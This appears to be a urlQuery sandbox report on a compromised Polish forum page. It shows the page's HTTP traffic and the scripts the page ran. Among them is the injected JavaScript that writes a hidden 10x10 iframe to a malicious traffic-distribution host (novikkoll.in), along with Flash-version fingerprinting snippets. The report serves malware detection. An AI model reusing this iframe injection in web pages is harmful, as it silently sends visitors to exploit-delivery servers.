Overview

URLhttp://szczytno.org/forum2/viewtopic.php?f=12
IP62.129.200.54
ASNAS12824 home.pl sp. z o.o.
Location Poland
Report completed2012-11-06 07:09:02 CET
StatusLoading report..
urlQuery Alerts Detected malicious iframe injection
Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro No alerts detected
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 62.129.200.54

Date Alerts / IDS URL IP
2013-02-13 10:14:522 / 0http://www.szczytno.org/forum2/viewtopic.php?f=262.129.200.54
2013-02-13 09:17:362 / 0http://www.szczytno.org/forum2/viewtopic.php?f=362.129.200.54
2013-02-13 02:45:372 / 0http://szczytno.org/forum2/viewtopic.php?f=1462.129.200.54
2013-02-12 23:43:012 / 0http://szczytno.org/forum2/cron.php?cron_type=tidy_cache62.129.200.54
2013-02-12 23:42:512 / 1http://szczytno.org/forum2/viewtopic.php?p=1985162.129.200.54
2013-02-12 13:40:191 / 1http://ww.jeleniowo.pl/62.129.200.54

Last 6 reports on ASN: AS12824 home.pl sp. z o.o.

Date Alerts / IDS URL IP
2013-02-13 19:28:280 / 2http://www.canon-board.info/roznosci-o-fotografii-23/dotykowy-monitor-w-lustrzance-canonz-5580679.96.230.155
2013-02-13 19:28:190 / 1http://whatsgoingon.pl/img/logo.gif?201f1=92098379.96.20.210
2013-02-13 19:11:020 / 2http://www.canon-board.info/autoryzowany-serwis-canon-csi-67/koszt-nowej-matrycy-1d-mark-iin-85 (...)79.96.230.155
2013-02-13 18:51:370 / 4http://ekoharpoon-systemy.pl/gap.php?q=disabled-baths62.129.237.110
2013-02-13 18:09:430 / 3http://www.canon-board.info/pierwsza-pomoc-awarie-usterki-problemy-56/canon-7d-wymiana-filtra-l (...)79.96.230.155
2013-02-13 10:14:522 / 0http://www.szczytno.org/forum2/viewtopic.php?f=262.129.200.54

Last 6 reports on domain: szczytno.org

Date Alerts / IDS URL IP
2013-02-13 02:45:372 / 0http://szczytno.org/forum2/viewtopic.php?f=1462.129.200.54
2013-02-12 23:43:012 / 0http://szczytno.org/forum2/cron.php?cron_type=tidy_cache62.129.200.54
2013-02-12 23:42:512 / 1http://szczytno.org/forum2/viewtopic.php?p=1985162.129.200.54
2013-02-12 11:46:592 / 1http://szczytno.org/hf2009d2/62.129.200.54
2013-02-11 23:46:152 / 0http://szczytno.org/forum2/viewtopic.php?f=662.129.200.54
2013-02-11 23:39:362 / 0http://szczytno.org/forum2/viewtopic.php?p=2190162.129.200.54



JavaScript

Executed Scripts (7)


Executed Evals (4)

#1 JavaScript::Eval (size: 569, repeated: 4) - Alert detect on script (Severity: 2)

		if (document.getElementsByTagName('body')[0]) {
		    iframer();
		} else {
		    document.write("<iframe src='http://novikkoll.in/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer() {
		    var f = document.createElement('iframe');
		    f.setAttribute('src', 'http://novikkoll.in/in.cgi?default');
		    f.style.visibility = 'hidden';
		    f.style.position = 'absolute';
		    f.style.left = '0';
		    f.style.top = '0';
		    f.setAttribute('width', '10');
		    f.setAttribute('height', '10');
		    document.getElementsByTagName('body')[0].appendChild(f);
		}

#2 JavaScript::Eval (size: 413, repeated: 1) 

if (typeof ActiveXObject != "undefined") {
    try {
        fo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");
    } catch (e) {
        try {
            fo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6");
            fv = "X";
            fo.AllowScriptAccess = "always";
        } catch (e) {
            if (fv == "X") {
                fv = "WIN 6,0,20,0";
            }
        }
        try {
            fo = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
        } catch (e) {}
    }
    if ((fv == "-" || fv == "X") && fo) {
        fv = fo.GetVariable("$version");
    }
}

#3 JavaScript::Eval (size: 122, repeated: 1) 

try {
    f = (d == top.document) ? 1 : 2;
    if (typeof top.document.referrer == "string") {
        ref = top.document.referrer
    }
} catch (e) {
    f = 3;
}

#4 JavaScript::Eval (size: 73, repeated: 1) 

try {
    fv = navigator.plugins["Shockwave Flash"].description;
} catch (e) {}

Executed Writes (3)

#1 JavaScript::Write (size: 139, repeated: 4) 

<iframe src='http://novikkoll.in/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>

#2 JavaScript::Write (size: 148, repeated: 1) 

<script type="text/javascript" src="http://home.hit.stat24.com/_1352182112824/script.js?id=zU07AmdGODc5LeRG0iw2EZZzrkJdaqeyF7PsSMfnyNj.U7"></script>

#3 JavaScript::Write (size: 91, repeated: 1) 

<script type="text/javascript" src="http://home.hit.stat24.com/cachedscriptxy.js"></script>


HTTP Transactions (16)


Request Response 
GET /forum2/viewtopic.php?f=12 HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Connection: Keep-Alive
Date: Tue, 06 Nov 2012 06:08:32 GMT
Server: IdeaWebServer/v0.80
Transfer-Encoding: chunked
GET /favicon.ico HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Connection: Keep-Alive
Content-Length: 182
Date: Tue, 06 Nov 2012 06:08:32 GMT
Server: IdeaWebServer/v0.80
GET /forum2/viewtopic.php?f=12 HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Connection: Keep-Alive
Date: Tue, 06 Nov 2012 06:08:32 GMT
Server: IdeaWebServer/v0.80
Transfer-Encoding: chunked
GET /forum2/styles/1Game/theme/stylesheet.css HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=12
 
HTTP/1.1 200 OK

Content-Type: text/css

Connection: Keep-Alive
Content-Length: 16056
Date: Tue, 06 Nov 2012 06:08:32 GMT
Last-Modified: Sun, 31 Jan 2010 23:16:21 GMT
Server: IdeaWebServer/v0.80
GET /forum2/styles/1Game/theme/images/back.jpg HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/styles/1Game/theme/stylesheet.css
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Connection: Keep-Alive
Content-Length: 15855
Date: Tue, 06 Nov 2012 06:08:32 GMT
Last-Modified: Mon, 01 Feb 2010 14:39:59 GMT
Server: IdeaWebServer/v0.80
GET /_1352182112824/script.js?id=zU07AmdGODc5LeRG0iw2EZZzrkJdaqeyF7PsSMfnyNj.U7 HTTP/1.1

Host: home.hit.stat24.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=12
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Accept-Ranges: none
Date: Tue, 06 Nov 2012 06:08:32 GMT
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Expires: Mon, 05 Nov 2012 06:08:32 GMT
Set-Cookie: GAD=KlSx-GFGvaGpI8ReoLC7sZMGssCFSRscaSZiIHmstG8MaaGXXVgcMMxGRExnYQ0LHG8la15GsG..; Domain=hit.stat24.com; Path=/; Expires=Wed, 30 Aug 2017 00:00:00 GMT
P3P: CP=&quot;NOI DSP COR NID PSAo OUR IND&quot;
Connection: close
Content-Length: 540
GET /forum2/styles/1Game/theme/images/top.jpg HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/styles/1Game/theme/stylesheet.css
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Connection: Keep-Alive
Content-Length: 43282
Date: Tue, 06 Nov 2012 06:08:32 GMT
Last-Modified: Sun, 31 Jan 2010 23:17:11 GMT
Server: IdeaWebServer/v0.80
GET /cachedscriptxy.js HTTP/1.1

Host: home.hit.stat24.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=12
Cookie: GAD=KlSx-GFGvaGpI8ReoLC7sZMGssCFSRscaSZiIHmstG8MaaGXXVgcMMxGRExnYQ0LHG8la15GsG..
 
HTTP/1.1 200 OK

Content-Type: application/x-javascript

Accept-Ranges: none
Date: Tue, 06 Nov 2012 06:08:32 GMT
Cache-Control: public, must-revalidate, max-age=432000
Last-Modified: Mon, 29 Oct 2012 11:31:41 GMT
Etag: &quot;0000172A98427113&quot;
Expires: Sun, 11 Nov 2012 06:08:32 GMT
P3P: CP=&quot;NOI DSP COR NID PSAo OUR IND&quot;
Connection: close
Content-Length: 5930
GET /_1352182112924/rexdot.gif?l=11&id=7El7DUNEjtCO9FHA0m4XtplZ.UWWuxQLMRoV0.2E98H.77&from=home.hit.stat24.com&&fr=1&fv=Shockwave%20Flash%2010.0%20r45&tz=-60&href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D12&ref=&screen=1176x885&col=24&window=1176x778 HTTP/1.1

Host: st.hit.gemius.pl
GET /_1352182112924/rexdot.gif?l=11&amp;id=7El7DUNEjtCO9FHA0m4XtplZ.UWWuxQLMRoV0.2E98H.77&amp;from=home.hit.stat24.com&amp;&amp;fr=1&amp;fv=Shockwave%20Flash%2010.0%20r45&amp;tz=-60&amp;href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D12&amp;ref=&amp;screen=1176x885&amp;col=24&amp;window=1176x778 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=12
 
HTTP/1.1 301 Moved Permanently

HTTP/1.1 301 Moved Permanently

Date: Tue, 06 Nov 2012 06:08:33 GMT
Expires: Mon, 05 Nov 2012 06:08:33 GMT
Accept-Ranges: none
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Set-Cookie: Gtest=KlxVyBsGQMGGab71X8ASoeQGXeFl8iMoXBG.; Domain=hit.gemius.pl; Path=/; Expires=Wed, 30 Aug 2017 00:00:00 GMT
P3P: CP=&quot;NOI DSP COR NID PSAo OUR IND&quot;
Location: /__/_1352182112924/rexdot.gif?l=11&amp;id=7El7DUNEjtCO9FHA0m4XtplZ.UWWuxQLMRoV0.2E98H.77&amp;from=home.hit.stat24.com&amp;&amp;fr=1&amp;fv=Shockwave%20Flash%2010.0%20r45&amp;tz=-60&amp;href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D12&amp;ref=&amp;screen=1176x885&amp;col=24&amp;window=1176x778
Connection: close
Content-Length: 0
GET /__/_1352182112924/rexdot.gif?l=11&id=7El7DUNEjtCO9FHA0m4XtplZ.UWWuxQLMRoV0.2E98H.77&from=home.hit.stat24.com&&fr=1&fv=Shockwave%20Flash%2010.0%20r45&tz=-60&href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D12&ref=&screen=1176x885&col=24&window=1176x778 HTTP/1.1

Host: st.hit.gemius.pl
GET /__/_1352182112924/rexdot.gif?l=11&amp;id=7El7DUNEjtCO9FHA0m4XtplZ.UWWuxQLMRoV0.2E98H.77&amp;from=home.hit.stat24.com&amp;&amp;fr=1&amp;fv=Shockwave%20Flash%2010.0%20r45&amp;tz=-60&amp;href=http%3A%2F%2Fszczytno.org%2Fforum2%2Fviewtopic.php%3Ff%3D12&amp;ref=&amp;screen=1176x885&amp;col=24&amp;window=1176x778 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=12
Cookie: Gtest=KlxVyBsGQMGGab71X8ASoeQGXeFl8iMoXBG.
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 06:08:33 GMT
Expires: Mon, 05 Nov 2012 06:08:33 GMT
Accept-Ranges: none
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Set-Cookie: Gdyn=KlxbkQ9GQMGGab71X8ASoeQGXeFl8iMoFRxSG7BLMSyGtF8CYlMQGSosr2x1qSFxSG8.; Domain=hit.gemius.pl; Path=/; Expires=Wed, 30 Aug 2017 00:00:00 GMT
P3P: CP=&quot;NOI DSP COR NID PSAo OUR IND&quot;
Connection: close
Content-Length: 43
GET /favicon.ico HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Connection: Keep-Alive
Content-Length: 182
Date: Tue, 06 Nov 2012 06:08:34 GMT
Server: IdeaWebServer/v0.80
GET /favicon.ico HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Connection: Keep-Alive
Content-Length: 182
Date: Tue, 06 Nov 2012 06:08:35 GMT
Server: IdeaWebServer/v0.80
GET /favicon.ico HTTP/1.1

Host: szczytno.org

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Connection: Keep-Alive
Content-Length: 182
Date: Tue, 06 Nov 2012 06:08:35 GMT
Server: IdeaWebServer/v0.80
GET /in.cgi?default HTTP/1.1

Host: sluxxqqgykewolmoli.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=12
 


 
 
GET /in.cgi?default HTTP/1.1

Host: novikkoll.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=12
 		 


 
 
GET /in.cgi?default HTTP/1.1

Host: novikkoll.in

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://szczytno.org/forum2/viewtopic.php?f=12